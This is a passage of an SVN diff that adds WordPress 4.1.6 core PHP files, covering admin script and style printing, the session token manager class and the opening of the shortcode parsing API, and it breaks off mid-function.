+		$color = get_user_option('admin_color');
+
+		if ( empty($color) || !isset($_wp_admin_css_colors[$color]) )
+			$color = 'fresh';
+
+		$color = $_wp_admin_css_colors[$color];
+		$parsed = parse_url( $src );
+		$url = $color->url;
+
+		if ( ! $url ) {
+			return false;
+		}
+
+		if ( isset($parsed['query']) && $parsed['query'] ) {
+			wp_parse_str( $parsed['query'], $qv );
+			$url = add_query_arg( $qv, $url );
+		}
+
+		return $url;
+	}
+
+	return $src;
+}
+
+/**
+ * Prints the script queue in the HTML head on admin pages.
+ *
+ * Postpones the scripts that were queued for the footer.
+ * print_footer_scripts() is called in the footer to print these scripts.
+ *
+ * @since 2.8.0
+ *
+ * @see wp_print_scripts()
+ */
+function print_head_scripts() {
+	global $wp_scripts, $concatenate_scripts;
+
+	if ( ! did_action('wp_print_scripts') ) {
+		/** This action is documented in wp-includes/functions.wp-scripts.php */
+		do_action( 'wp_print_scripts' );
+	}
+
+	if ( !is_a($wp_scripts, 'WP_Scripts') )
+		$wp_scripts = new WP_Scripts();
+
+	script_concat_settings();
+	$wp_scripts->do_concat = $concatenate_scripts;
+	$wp_scripts->do_head_items();
+
+	/**
+	 * Filter whether to print the head scripts.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param bool $print Whether to print the head scripts. Default true.
+	 */
+	if ( apply_filters( 'print_head_scripts', true ) ) {
+		_print_scripts();
+	}
+
+	$wp_scripts->reset();
+	return $wp_scripts->done;
+}
+
+/**
+ * Prints the scripts that were queued for the footer or too late for the HTML head.
+ *
+ * @since 2.8.0
+ */
+function print_footer_scripts() {
+	global $wp_scripts, $concatenate_scripts;
+
+	if ( !is_a($wp_scripts, 'WP_Scripts') )
+		return array(); // No need to run if not instantiated.
+
+	script_concat_settings();
+	$wp_scripts->do_concat = $concatenate_scripts;
+	$wp_scripts->do_footer_items();
+
+	/**
+	 * Filter whether to print the footer scripts.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param bool $print Whether to print the footer scripts. Default true.
+	 */
+	if ( apply_filters( 'print_footer_scripts', true ) ) {
+		_print_scripts();
+	}
+
+	$wp_scripts->reset();
+	return $wp_scripts->done;
+}
+
+/**
+ * @internal use
+ */
+function _print_scripts() {
+	global $wp_scripts, $compress_scripts;
+
+	$zip = $compress_scripts ? 1 : 0;
+	if ( $zip && defined('ENFORCE_GZIP') && ENFORCE_GZIP )
+		$zip = 'gzip';
+
+	if ( $concat = trim( $wp_scripts->concat, ', ' ) ) {
+
+		if ( !empty($wp_scripts->print_code) ) {
+			echo "\n<script type='text/javascript'>\n";
+			echo "/* <![CDATA[ */\n"; // not needed in HTML 5
+			echo $wp_scripts->print_code;
+			echo "/* ]]> */\n";
+			echo "</script>\n";
+		}
+
+		$concat = str_split( $concat, 128 );
+		$concat = 'load%5B%5D=' . implode( '&load%5B%5D=', $concat );
+
+		$src = $wp_scripts->base_url . "/wp-admin/load-scripts.php?c={$zip}&" . $concat . '&ver=' . $wp_scripts->default_version;
+		echo "<script type='text/javascript' src='" . esc_attr($src) . "'></script>\n";
+	}
+
+	if ( !empty($wp_scripts->print_html) )
+		echo $wp_scripts->print_html;
+}
+
+/**
+ * Prints the script queue in the HTML head on the front end.
+ *
+ * Postpones the scripts that were queued for the footer.
+ * wp_print_footer_scripts() is called in the footer to print these scripts.
+ *
+ * @since 2.8.0
+ */
+function wp_print_head_scripts() {
+	if ( ! did_action('wp_print_scripts') ) {
+		/** This action is documented in wp-includes/functions.wp-scripts.php */
+		do_action( 'wp_print_scripts' );
+	}
+
+	global $wp_scripts;
+
+	if ( !is_a($wp_scripts, 'WP_Scripts') )
+		return array(); // no need to run if nothing is queued
+
+	return print_head_scripts();
+}
+
+/**
+ * Private, for use in *_footer_scripts hooks
+ *
+ * @since 3.3.0
+ */
+function _wp_footer_scripts() {
+	print_late_styles();
+	print_footer_scripts();
+}
+
+/**
+ * Hooks to print the scripts and styles in the footer.
+ *
+ * @since 2.8.0
+ */
+function wp_print_footer_scripts() {
+	/**
+	 * Fires when footer scripts are printed.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( 'wp_print_footer_scripts' );
+}
+
+/**
+ * Wrapper for do_action('wp_enqueue_scripts')
+ *
+ * Allows plugins to queue scripts for the front end using wp_enqueue_script().
+ * Runs first in wp_head() where all is_home(), is_page(), etc. functions are available.
+ *
+ * @since 2.8.0
+ */
+function wp_enqueue_scripts() {
+	/**
+	 * Fires when scripts and styles are enqueued.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( 'wp_enqueue_scripts' );
+}
+
+/**
+ * Prints the styles queue in the HTML head on admin pages.
+ *
+ * @since 2.8.0
+ */
+function print_admin_styles() {
+	global $wp_styles, $concatenate_scripts;
+
+	if ( !is_a($wp_styles, 'WP_Styles') )
+		$wp_styles = new WP_Styles();
+
+	script_concat_settings();
+	$wp_styles->do_concat = $concatenate_scripts;
+	$wp_styles->do_items(false);
+
+	/**
+	 * Filter whether to print the admin styles.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param bool $print Whether to print the admin styles. Default true.
+	 */
+	if ( apply_filters( 'print_admin_styles', true ) ) {
+		_print_styles();
+	}
+
+	$wp_styles->reset();
+	return $wp_styles->done;
+}
+
+/**
+ * Prints the styles that were queued too late for the HTML head.
+ *
+ * @since 3.3.0
+ */
+function print_late_styles() {
+	global $wp_styles, $concatenate_scripts;
+
+	if ( !is_a($wp_styles, 'WP_Styles') )
+		return;
+
+	$wp_styles->do_concat = $concatenate_scripts;
+	$wp_styles->do_footer_items();
+
+	/**
+	 * Filter whether to print the styles queued too late for the HTML head.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param bool $print Whether to print the 'late' styles. Default true.
+	 */
+	if ( apply_filters( 'print_late_styles', true ) ) {
+		_print_styles();
+	}
+
+	$wp_styles->reset();
+	return $wp_styles->done;
+}
+
+/**
+ * @internal use
+ */
+function _print_styles() {
+	global $wp_styles, $compress_css;
+
+	$zip = $compress_css ? 1 : 0;
+	if ( $zip && defined('ENFORCE_GZIP') && ENFORCE_GZIP )
+		$zip = 'gzip';
+
+	if ( !empty($wp_styles->concat) ) {
+		$dir = $wp_styles->text_direction;
+		$ver = $wp_styles->default_version;
+		$href = $wp_styles->base_url . "/wp-admin/load-styles.php?c={$zip}&dir={$dir}&load=" . trim($wp_styles->concat, ', ') . '&ver=' . $ver;
+		echo "<link rel='stylesheet' href='" . esc_attr($href) . "' type='text/css' media='all' />\n";
+
+		if ( !empty($wp_styles->print_code) ) {
+			echo "<style type='text/css'>\n";
+			echo $wp_styles->print_code;
+			echo "\n</style>\n";
+		}
+	}
+
+	if ( !empty($wp_styles->print_html) )
+		echo $wp_styles->print_html;
+}
+
+/**
+ * Determine the concatenation and compression settings for scripts and styles.
+ *
+ * @since 2.8.0
+ */
+function script_concat_settings() {
+	global $concatenate_scripts, $compress_scripts, $compress_css;
+
+	$compressed_output = ( ini_get('zlib.output_compression') || 'ob_gzhandler' == ini_get('output_handler') );
+
+	if ( ! isset($concatenate_scripts) ) {
+		$concatenate_scripts = defined('CONCATENATE_SCRIPTS') ? CONCATENATE_SCRIPTS : true;
+		if ( ! is_admin() || ( defined('SCRIPT_DEBUG') && SCRIPT_DEBUG ) )
+			$concatenate_scripts = false;
+	}
+
+	if ( ! isset($compress_scripts) ) {
+		$compress_scripts = defined('COMPRESS_SCRIPTS') ? COMPRESS_SCRIPTS : true;
+		if ( $compress_scripts && ( ! get_site_option('can_compress_scripts') || $compressed_output ) )
+			$compress_scripts = false;
+	}
+
+	if ( ! isset($compress_css) ) {
+		$compress_css = defined('COMPRESS_CSS') ? COMPRESS_CSS : true;
+		if ( $compress_css && ( ! get_site_option('can_compress_scripts') || $compressed_output ) )
+			$compress_css = false;
+	}
+}
+
+add_action( 'wp_default_scripts', 'wp_default_scripts' );
+add_filter( 'wp_print_scripts', 'wp_just_in_time_script_localization' );
+add_filter( 'print_scripts_array', 'wp_prototype_before_jquery' );
+
+add_action( 'wp_default_styles', 'wp_default_styles' );
+add_filter( 'style_loader_src', 'wp_style_loader_src', 10, 2 );
Index: /tags/4.1.6/src/wp-includes/session.php
===================================================================
--- /tags/4.1.6/src/wp-includes/session.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/session.php	(revision 33402)
@@ -0,0 +1,439 @@
+<?php
+/**
+ * Abstract class for managing user session tokens.
+ *
+ * @since 4.0.0
+ */
+abstract class WP_Session_Tokens {
+
+	/**
+	 * User ID.
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 * @var int User ID.
+	 */
+	protected $user_id;
+
+	/**
+	 * Protected constructor.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param int $user_id User whose session to manage.
+	 */
+	protected function __construct( $user_id ) {
+		$this->user_id = $user_id;
+	}
+
+	/**
+	 * Get a session token manager instance for a user.
+	 *
+	 * This method contains a filter that allows a plugin to swap out
+	 * the session manager for a subclass of WP_Session_Tokens.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 * @static
+	 *
+	 * @param int $user_id User whose session to manage.
+	 */
+	final public static function get_instance( $user_id ) {
+		/**
+		 * Filter the session token manager used.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @param string $session Name of class to use as the manager.
+		 *                        Default 'WP_User_Meta_Session_Tokens'.
+		 */
+		$manager = apply_filters( 'session_token_manager', 'WP_User_Meta_Session_Tokens' );
+		return new $manager( $user_id );
+	}
+
+	/**
+	 * Hashes a session token for storage.
+	 *
+	 * @since 4.0.0
+	 * @access private
+	 *
+	 * @param string $token Session token to hash.
+	 * @return string A hash of the session token (a verifier).
+	 */
+	final private function hash_token( $token ) {
+		// If ext/hash is not present, use sha1() instead.
+		if ( function_exists( 'hash' ) ) {
+			return hash( 'sha256', $token );
+		} else {
+			return sha1( $token );
+		}
+	}
+
+	/**
+	 * Get a user's session.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $token Session token
+	 * @return array User session
+	 */
+	final public function get( $token ) {
+		$verifier = $this->hash_token( $token );
+		return $this->get_session( $verifier );
+	}
+
+	/**
+	 * Validate a user's session token as authentic.
+	 *
+	 * Checks that the given token is present and hasn't expired.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $token Token to verify.
+	 * @return bool Whether the token is valid for the user.
+	 */
+	final public function verify( $token ) {
+		$verifier = $this->hash_token( $token );
+		return (bool) $this->get_session( $verifier );
+	}
+
+	/**
+	 * Generate a session token and attach session information to it.
+	 *
+	 * A session token is a long, random string. It is used in a cookie
+	 * link that cookie to an expiration time and to ensure the cookie
+	 * becomes invalidated upon logout.
+	 *
+	 * This function generates a token and stores it with the associated
+	 * expiration time (and potentially other session information via the
+	 * `attach_session_information` filter).
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param int $expiration Session expiration timestamp.
+	 * @return string Session token.
+	 */
+	final public function create( $expiration ) {
+		/**
+		 * Filter the information attached to the newly created session.
+		 *
+		 * Could be used in the future to attach information such as
+		 * IP address or user agent to a session.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @param array $session Array of extra data.
+		 * @param int   $user_id User ID.
+		 */
+		$session = apply_filters( 'attach_session_information', array(), $this->user_id );
+		$session['expiration'] = $expiration;
+
+		// IP address.
+		if ( !empty( $_SERVER['REMOTE_ADDR'] ) ) {
+			$session['ip'] = $_SERVER['REMOTE_ADDR'];
+		}
+
+		// User-agent.
+		if ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
+			$session['ua'] = wp_unslash( $_SERVER['HTTP_USER_AGENT'] );
+		}
+
+		// Timestamp
+		$session['login'] = time();
+
+		$token = wp_generate_password( 43, false, false );
+
+		$this->update( $token, $session );
+
+		return $token;
+	}
+
+	/**
+	 * Update a session token.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $token Session token to update.
+	 * @param array  $session Session information.
+	 */
+	final public function update( $token, $session ) {
+		$verifier = $this->hash_token( $token );
+		$this->update_session( $verifier, $session );
+	}
+
+	/**
+	 * Destroy a session token.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $token Session token to destroy.
+	 */
+	final public function destroy( $token ) {
+		$verifier = $this->hash_token( $token );
+		$this->update_session( $verifier, null );
+	}
+
+	/**
+	 * Destroy all session tokens for this user,
+	 * except a single token, presumably the one in use.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $token_to_keep Session token to keep.
+	 */
+	final public function destroy_others( $token_to_keep ) {
+		$verifier = $this->hash_token( $token_to_keep );
+		$session = $this->get_session( $verifier );
+		if ( $session ) {
+			$this->destroy_other_sessions( $verifier );
+		} else {
+			$this->destroy_all_sessions();
+		}
+	}
+
+	/**
+	 * Determine whether a session token is still valid,
+	 * based on expiration.
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 *
+	 * @param array $session Session to check.
+	 * @return bool Whether session is valid.
+	 */
+	final protected function is_still_valid( $session ) {
+		return $session['expiration'] >= time();
+	}
+
+	/**
+	 * Destroy all session tokens for a user.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 */
+	final public function destroy_all() {
+		$this->destroy_all_sessions();
+	}
+
+	/**
+	 * Destroy all session tokens for all users.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 * @static
+	 */
+	final public static function destroy_all_for_all_users() {
+		$manager = apply_filters( 'session_token_manager', 'WP_User_Meta_Session_Tokens' );
+		call_user_func( array( $manager, 'drop_sessions' ) );
+	}
+
+	/**
+	 * Retrieve all sessions of a user.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @return array Sessions of a user.
+	 */
+	final public function get_all() {
+		return array_values( $this->get_sessions() );
+	}
+
+	/**
+	 * This method should retrieve all sessions of a user, keyed by verifier.
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 *
+	 * @return array Sessions of a user, keyed by verifier.
+	 */
+	abstract protected function get_sessions();
+
+	/**
+	 * This method should look up a session by its verifier (token hash).
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 *
+	 * @param string $verifier Verifier of the session to retrieve.
+	 * @return array|null The session, or null if it does not exist.
+	 */
+	abstract protected function get_session( $verifier );
+
+	/**
+	 * This method should update a session by its verifier.
+	 *
+	 * Omitting the second argument should destroy the session.
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 *
+	 * @param string $verifier Verifier of the session to update.
+	 */
+	abstract protected function update_session( $verifier, $session = null );
+
+	/**
+	 * This method should destroy all session tokens for this user,
+	 * except a single session passed.
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 *
+	 * @param string $verifier Verifier of the session to keep.
+	 */
+	abstract protected function destroy_other_sessions( $verifier );
+
+	/**
+	 * This method should destroy all sessions for a user.
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 */
+	abstract protected function destroy_all_sessions();
+
+	/**
+	 * This static method should destroy all session tokens for all users.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 * @static
+	 */
+	public static function drop_sessions() {}
+}
+
+/**
+ * Meta-based user sessions token manager.
+ *
+ * @since 4.0.0
+ */
+class WP_User_Meta_Session_Tokens extends WP_Session_Tokens {
+
+	/**
+	 * Get all sessions of a user.
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 *
+	 * @return array Sessions of a user.
+	 */
+	protected function get_sessions() {
+		$sessions = get_user_meta( $this->user_id, 'session_tokens', true );
+
+		if ( ! is_array( $sessions ) ) {
+			return array();
+		}
+
+		$sessions = array_map( array( $this, 'prepare_session' ), $sessions );
+		return array_filter( $sessions, array( $this, 'is_still_valid' ) );
+	}
+
+	/**
+	 * Converts an expiration to an array of session information.
+	 *
+	 * @param mixed $session Session or expiration.
+	 * @return array Session.
+	 */
+	protected function prepare_session( $session ) {
+		if ( is_int( $session ) ) {
+			return array( 'expiration' => $session );
+		}
+
+		return $session;
+	}
+
+	/**
+	 * Retrieve a session by its verifier (token hash).
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 *
+	 * @param string $verifier Verifier of the session to retrieve.
+	 * @return array|null The session, or null if it does not exist
+	 */
+	protected function get_session( $verifier ) {
+		$sessions = $this->get_sessions();
+
+		if ( isset( $sessions[ $verifier ] ) ) {
+			return $sessions[ $verifier ];
+		}
+
+		return null;
+	}
+
+	/**
+	 * Update a session by its verifier.
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 *
+	 * @param string $verifier Verifier of the session to update.
+	 * @param array  $session  Optional. Session. Omitting this argument destroys the session.
+	 */
+	protected function update_session( $verifier, $session = null ) {
+		$sessions = $this->get_sessions();
+
+		if ( $session ) {
+			$sessions[ $verifier ] = $session;
+		} else {
+			unset( $sessions[ $verifier ] );
+		}
+
+		$this->update_sessions( $sessions );
+	}
+
+	/**
+	 * Update a user's sessions in the usermeta table.
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 *
+	 * @param array $sessions Sessions.
+	 */
+	protected function update_sessions( $sessions ) {
+		if ( $sessions ) {
+			update_user_meta( $this->user_id, 'session_tokens', $sessions );
+		} else {
+			delete_user_meta( $this->user_id, 'session_tokens' );
+		}
+	}
+
+	/**
+	 * Destroy all session tokens for a user, except a single session passed.
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 *
+	 * @param string $verifier Verifier of the session to keep.
+	 */
+	protected function destroy_other_sessions( $verifier ) {
+		$session = $this->get_session( $verifier );
+		$this->update_sessions( array( $verifier => $session ) );
+	}
+
+	/**
+	 * Destroy all session tokens for a user.
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 */
+	protected function destroy_all_sessions() {
+		$this->update_sessions( array() );
+	}
+
+	/**
+	 * Destroy all session tokens for all users.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 * @static
+	 */
+	public static function drop_sessions() {
+		delete_metadata( 'user', false, 'session_tokens', false, true );
+	}
+}
Index: /tags/4.1.6/src/wp-includes/shortcodes.php
===================================================================
--- /tags/4.1.6/src/wp-includes/shortcodes.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/shortcodes.php	(revision 33402)
@@ -0,0 +1,561 @@
+<?php
+/**
+ * WordPress API for creating bbcode like tags or what WordPress calls
+ * "shortcodes." The tag and attribute parsing or regular expression code is
+ * based on the Textpattern tag parser.
+ *
+ * A few examples are below:
+ *
+ * [shortcode /]
+ * [shortcode foo="bar" baz="bing" /]
+ * [shortcode foo="bar"]content[/shortcode]
+ *
+ * Shortcode tags support attributes and enclosed content, but does not entirely
+ * support inline shortcodes in other shortcodes. You will have to call the
+ * shortcode parser in your function to account for that.
+ *
+ * {@internal
+ * Please be aware that the above note was made during the beta of WordPress 2.6
+ * and in the future may not be accurate. Please update the note when it is no
+ * longer the case.}}
+ *
+ * To apply shortcode tags to content:
+ *
+ *     $out = do_shortcode( $content );
+ *
+ * @link http://codex.wordpress.org/Shortcode_API
+ *
+ * @package WordPress
+ * @subpackage Shortcodes
+ * @since 2.5.0
+ */
+
+/**
+ * Container for storing shortcode tags and their hook to call for the shortcode
+ *
+ * @since 2.5.0
+ *
+ * @name $shortcode_tags
+ * @var array
+ * @global array $shortcode_tags
+ */
+$shortcode_tags = array();
+
+/**
+ * Add hook for shortcode tag.
+ *
+ * There can only be one hook for each shortcode. Which means that if another
+ * plugin has a similar shortcode, it will override yours or yours will override
+ * theirs depending on which order the plugins are included and/or ran.
+ *
+ * Simplest example of a shortcode tag using the API:
+ *
+ *     // [footag foo="bar"]
+ *     function footag_func( $atts ) {
+ *         return "foo = {
+ *             $atts[foo]
+ *         }";
+ *     }
+ *     add_shortcode( 'footag', 'footag_func' );
+ *
+ * Example with nice attribute defaults:
+ *
+ *     // [bartag foo="bar"]
+ *     function bartag_func( $atts ) {
+ *         $args = shortcode_atts( array(
+ *             'foo' => 'no foo',
+ *             'baz' => 'default baz',
+ *         ), $atts );
+ *
+ *         return "foo = {$args['foo']}";
+ *     }
+ *     add_shortcode( 'bartag', 'bartag_func' );
+ *
+ * Example with enclosed content:
+ *
+ *     // [baztag]content[/baztag]
+ *     function baztag_func( $atts, $content = '' ) {
+ *         return "content = $content";
+ *     }
+ *     add_shortcode( 'baztag', 'baztag_func' );
+ *
+ * @since 2.5.0
+ *
+ * @uses $shortcode_tags
+ *
+ * @param string $tag Shortcode tag to be searched in post content.
+ * @param callable $func Hook to run when shortcode is found.
+ */
+function add_shortcode($tag, $func) {
+	global $shortcode_tags;
+
+	if ( is_callable($func) )
+		$shortcode_tags[$tag] = $func;
+}
+
+/**
+ * Removes hook for shortcode.
+ *
+ * @since 2.5.0
+ *
+ * @uses $shortcode_tags
+ *
+ * @param string $tag shortcode tag to remove hook for.
+ */
+function remove_shortcode($tag) {
+	global $shortcode_tags;
+
+	unset($shortcode_tags[$tag]);
+}
+
+/**
+ * Clear all shortcodes.
+ *
+ * This function is simple, it clears all of the shortcode tags by replacing the
+ * shortcodes global by a empty array. This is actually a very efficient method
+ * for removing all shortcodes.
+ *
+ * @since 2.5.0
+ *
+ * @uses $shortcode_tags
+ */
+function remove_all_shortcodes() {
+	global $shortcode_tags;
+
+	$shortcode_tags = array();
+}
+
+/**
+ * Whether a registered shortcode exists named $tag
+ *
+ * @since 3.6.0
+ *
+ * @global array $shortcode_tags
+ * @param string $tag
+ * @return boolean
+ */
+function shortcode_exists( $tag ) {
+	global $shortcode_tags;
+	return array_key_exists( $tag, $shortcode_tags );
+}
+
+/**
+ * Whether the passed content contains the specified shortcode
+ *
+ * @since 3.6.0
+ *
+ * @global array $shortcode_tags
+ * @param string $tag
+ * @return boolean
+ */
+function has_shortcode( $content, $tag ) {
+	if ( false === strpos( $content, '[' ) ) {
+		return false;
+	}
+
+	if ( shortcode_exists( $tag ) ) {
+		preg_match_all( '/' . get_shortcode_regex() . '/s', $content, $matches, PREG_SET_ORDER );
+		if ( empty( $matches ) )
+			return false;
+
+		foreach ( $matches as $shortcode ) {
+			if ( $tag === $shortcode[2] ) {
+				return true;
+			} elseif ( ! empty( $shortcode[5] ) && has_shortcode( $shortcode[5], $tag ) ) {
+				return true;
+			}
+		}
+	}
+	return false;
+}
+
+/**
+ * Search content for shortcodes and filter shortcodes through their hooks.
+ *
+ * If there are no shortcode tags defined, then the content will be returned
+ * without any filtering. This might cause issues when plugins are disabled but
+ * the shortcode will still show up in the post or content.
+ *
+ * @since 2.5.0
+ *
+ * @uses $shortcode_tags
+ *
+ * @param string $content Content to search for shortcodes
+ * @param bool $ignore_html When true, shortcodes inside HTML elements will be skipped.
+ * @return string Content with shortcodes filtered out.
+ */
+function do_shortcode( $content, $ignore_html = false ) {
+	global $shortcode_tags;
+
+	if ( false === strpos( $content, '[' ) ) {
+		return $content;
+	}
+
+	if (empty($shortcode_tags) || !is_array($shortcode_tags))
+		return $content;
+
+	$tagnames = array_keys($shortcode_tags);
+	$tagregexp = join( '|', array_map('preg_quote', $tagnames) );
+	$pattern = "/\\[($tagregexp)/s";
+
+	if ( 1 !== preg_match( $pattern, $content ) ) {
+		// Avoids parsing HTML when there are no shortcodes or embeds anyway.
+		return $content;
+	}
+
+	$content = do_shortcodes_in_html_tags( $content, $ignore_html );
+
+	$pattern = get_shortcode_regex();
+	$content = preg_replace_callback( "/$pattern/s", 'do_shortcode_tag', $content );
+	
+	// Always restore square braces so we don't break things like <!--[if IE ]>
+	$content = unescape_invalid_shortcodes( $content );
+	
+	return $content;
+}
+
+/**
+ * Retrieve the shortcode regular expression for searching.
+ *
+ * The regular expression combines the shortcode tags in the regular expression
+ * in a regex class.
+ *
+ * The regular expression contains 6 different sub matches to help with parsing.
+ *
+ * 1 - An extra [ to allow for escaping shortcodes with double [[]]
+ * 2 - The shortcode name
+ * 3 - The shortcode argument list
+ * 4 - The self closing /
+ * 5 - The content of a shortcode when it wraps some content.
+ * 6 - An extra ] to allow for escaping shortcodes with double [[]]
+ *
+ * @since 2.5.0
+ *
+ * @uses $shortcode_tags
+ *
+ * @return string The shortcode search regular expression
+ */
+function get_shortcode_regex() {
+	global $shortcode_tags;
+	$tagnames = array_keys($shortcode_tags);
+	$tagregexp = join( '|', array_map('preg_quote', $tagnames) );
+
+	// WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag()
+	// Also, see shortcode_unautop() and shortcode.js.
+	return
+		  '\\['                              // Opening bracket
+		. '(\\[?)'                           // 1: Optional second opening bracket for escaping shortcodes: [[tag]]
+		. "($tagregexp)"                     // 2: Shortcode name
+		. '(?![\\w-])'                       // Not followed by word character or hyphen
+		. '('                                // 3: Unroll the loop: Inside the opening shortcode tag
+		.     '[^\\]\\/]*'                   // Not a closing bracket or forward slash
+		.     '(?:'
+		.         '\\/(?!\\])'               // A forward slash not followed by a closing bracket
+		.         '[^\\]\\/]*'               // Not a closing bracket or forward slash
+		.     ')*?'
+		. ')'
+		. '(?:'
+		.     '(\\/)'                        // 4: Self closing tag ...
+		.     '\\]'                          // ... and closing bracket
+		. '|'
+		.     '\\]'                          // Closing bracket
+		.     '(?:'
+		.         '('                        // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags
+		.             '[^\\[]*+'             // Not an opening bracket
+		.             '(?:'
+		.                 '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag
+		.                 '[^\\[]*+'         // Not an opening bracket
+		.             ')*+'
+		.         ')'
+		.         '\\[\\/\\2\\]'             // Closing shortcode tag
+		.     ')?'
+		. ')'
+		. '(\\]?)';                          // 6: Optional second closing brocket for escaping shortcodes: [[tag]]
+}
+
+/**
+ * Regular Expression callable for do_shortcode() for calling shortcode hook.
+ * @see get_shortcode_regex for details of the match array contents.
+ *
+ * @since 2.5.0
+ * @access private
+ * @uses $shortcode_tags
+ *
+ * @param array $m Regular expression match array
+ * @return mixed False on failure.
+ */
+function do_shortcode_tag( $m ) {
+	global $shortcode_tags;
+
+	// allow [[foo]] syntax for escaping a tag
+	if ( $m[1] == '[' && $m[6] == ']' ) {
+		return substr($m[0], 1, -1);
+	}
+
+	$tag = $m[2];
+	$attr = shortcode_parse_atts( $m[3] );
+
+	if ( isset( $m[5] ) ) {
+		// enclosing tag - extra parameter
+		return $m[1] . call_user_func( $shortcode_tags[$tag], $attr, $m[5], $tag ) . $m[6];
+	} else {
+		// self-closing tag
+		return $m[1] . call_user_func( $shortcode_tags[$tag], $attr, null,  $tag ) . $m[6];
+	}
+}
+
+/**
+ * Search only inside HTML elements for shortcodes and process them.
+ *
+ * Any [ or ] characters remaining inside elements will be HTML encoded
+ * to prevent interference with shortcodes that are outside the elements.
+ * Assumes $content processed by KSES already.  Users with unfiltered_html
+ * capability may get unexpected output if angle braces are nested in tags.
+ *
+ * @since 4.2.3
+ *
+ * @param string $content Content to search for shortcodes
+ * @param bool $ignore_html When true, all square braces inside elements will be encoded.
+ * @return string Content with shortcodes filtered out.
+ */
+function do_shortcodes_in_html_tags( $content, $ignore_html ) {
+	// Normalize entities in unfiltered HTML before adding placeholders.
+	$trans = array( '&#91;' => '&#091;', '&#93;' => '&#093;' );
+	$content = strtr( $content, $trans );
+	$trans = array( '[' => '&#91;', ']' => '&#93;' );
+	
+	$pattern = get_shortcode_regex();
+
+	$comment_regex =
+		  '!'           // Start of comment, after the <.
+		. '(?:'         // Unroll the loop: Consume everything until --> is found.
+		.     '-(?!->)' // Dash not followed by end of comment.
+		.     '[^\-]*+' // Consume non-dashes.
+		. ')*+'         // Loop possessively.
+		. '(?:-->)?';   // End of comment. If not found, match all input.
+
+	$regex =
+		  '/('                   // Capture the entire match.
+		.     '<'                // Find start of element.
+		.     '(?(?=!--)'        // Is this a comment?
+		.         $comment_regex // Find end of comment.
+		.     '|'
+		.         '[^>]*>?'      // Find end of element. If not found, match all input.
+		.     ')'
+		. ')/s';
+
+	$textarr = preg_split( $regex, $content, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY );
+
+	foreach ( $textarr as &$element ) {
+		if ( '<' !== $element[0] ) {
+			continue;
+		}
+
+		$noopen = false === strpos( $element, '[' );
+		$noclose = false === strpos( $element, ']' );
+		if ( $noopen || $noclose ) {
+			// This element does not contain shortcodes.
+			if ( $noopen xor $noclose ) {
+				// Need to encode stray [ or ] chars.
+				$element = strtr( $element, $trans );
+			}
+			continue;
+		}
+
+		if ( $ignore_html || '<!--' === substr( $element, 0, 4 ) ) {
+			// Encode all [ and ] chars.
+			$element = strtr( $element, $trans );
+			continue;
+		}
+
+		$attributes = wp_kses_attr_parse( $element );
+		if ( false === $attributes ) {
+			// Looks like we found some crazy unfiltered HTML.  Skipping it for sanity.
+			$element = strtr( $element, $trans );
+			continue;
+		}
+		
+		// Get element name
+		$front = array_shift( $attributes );
+		$back = array_pop( $attributes );
+		$matches = array();
+		preg_match('%[a-zA-Z0-9]+%', $front, $matches);
+		$elname = $matches[0];
+		
+		// Look for shortcodes in each attribute separately.
+		foreach ( $attributes as &$attr ) {
+			$open = strpos( $attr, '[' );
+			$close = strpos( $attr, ']' );
+			if ( false === $open || false === $close ) {
+				continue; // Go to next attribute.  Square braces will be escaped at end of loop.
+			}
+			$double = strpos( $attr, '"' );
+			$single = strpos( $attr, "'" );
+			if ( ( false === $single || $open < $single ) && ( false === $double || $open < $double ) ) {
+				// $attr like '[shortcode]' or 'name = [shortcode]' implies unfiltered_html.
+				// In this specific situation we assume KSES did not run because the input
+				// was written by an administrator, so we should avoid changing the output
+				// and we do not need to run KSES here.
+				$attr = preg_replace_callback( "/$pattern/s", 'do_shortcode_tag', $attr );
+			} else {
+				// $attr like 'name = "[shortcode]"' or "name = '[shortcode]'"
+				// We do not know if $content was unfiltered. Assume KSES ran before shortcodes.
+				$count = 0;
+				$new_attr = preg_replace_callback( "/$pattern/s", 'do_shortcode_tag', $attr, -1, $count );
+				if ( $count > 0 ) {
